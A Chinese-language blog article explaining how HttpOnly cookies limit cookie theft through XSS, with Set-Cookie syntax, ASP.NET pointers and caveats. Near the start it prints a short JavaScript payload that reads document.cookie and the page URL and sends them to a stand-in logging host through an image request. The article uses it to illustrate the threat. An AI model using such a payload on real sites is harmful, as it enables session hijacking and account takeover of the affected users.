技术头条 - 一个快速在微博传播文章的方式     搜索本站
您现在的位置首页 --> 安全 --> 使用Http-only Cookie来防止XSS攻击

使用Http-only Cookie来防止XSS攻击

浏览:3124次  出处信息

   www服务依赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地用到Cookie来标记访问者的状态。只要获得这个Cookie,就可以取得别人的身份,入侵个人账户或者网站。

   对于网站来说,一旦存在了xss漏洞就意味着入侵者可以在浏览器中执行任意的JS脚本,这时候获得Cookie就变得非常的简单。Cookie保存在浏览器的document对象中,只要使用JS读取Cookie就能拥有其他人的身份。一个很简单的xss攻击语句如下:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src="http://www.xss-log-server.com/c.php?c="+cookie+"&u="+url;

   有些网站考虑到这个问题,所以采取浏览器绑定技术,譬如将Cookie和浏览器的User-agent绑定,一旦发现修改就认为Cookie失效。但是这种方法存在很大的弊端,因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定),但是这样有可能带来比较差的用户体验,比如家里的ADSL就是每次连接换一个IP地址。

   那如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感Cookie在浏览器document中不可见就行了。Microsoft Internet Explorer 版本 6 Service Pack 1 和更高版本支持 Cookie 属性 Http-Only,该属性有助于缓解跨站点脚本威胁, 如果兼容浏览器接收到 Http-Only Cookie,则客户端脚本不能对它进行访问。Http-Only的参数跟domain等其他参数一样,一旦Http-Only被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我可以采用Http-Only,对于一些需要在网站中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了网站的基本功能。

   下面的例子就是Http-Only的设置方法(注意,HttpOnly属性对大小写不敏感):

   Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]

   Asp.Net设置HttpCookie.HttpOnly 属性的方法:http://msdn.microsoft.com/zh-cn/library/system.web.httpcookie.httponly.aspx

   目前主流的浏览器基本上已经都支持了Http-Only属性,具体支持的浏览器请查看:https://www.owasp.org/index.php/HttpOnly

   另外,HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵制一些有耐心的黑客的攻击,也不能防止入侵者做ajax提交。为了降低跨站点脚本攻击带来的损害,通常需要将HTTP-only Cookie和其他技术组合使用。如果单独使用的话,它无法全面抵御跨站点脚本攻击。比如如果你的站点是使用Asp.Net开发的话,建议使用Microsoft Web Protection Library

建议继续学习:

  1. cookie窃取和session劫持    (阅读:12969)
  2. curl 命令使用cookie    (阅读:8768)
  3. 前端开发中Cookie那些事儿    (阅读:6224)
  4. 如何设置一个永远无法删除的Cookie    (阅读:5280)
  5. 几种极其隐蔽的XSS注入的防护    (阅读:4678)
  6. 在浏览器中加密Cookie    (阅读:4652)
  7. 网站统计:第一方Cookie和第三方Cookie    (阅读:4117)
  8. Cookie安全漫谈    (阅读:3578)
  9. 一段Javascript的代码    (阅读:3335)
  10. 新浪微博的XSS攻击    (阅读:3010)
QQ技术交流群:445447336,欢迎加入!
扫一扫订阅我的微信号:IT技术博客大学习
© 2009 - 2024 by blogread.cn 微博:@IT技术博客大学习

京ICP备15002552号-1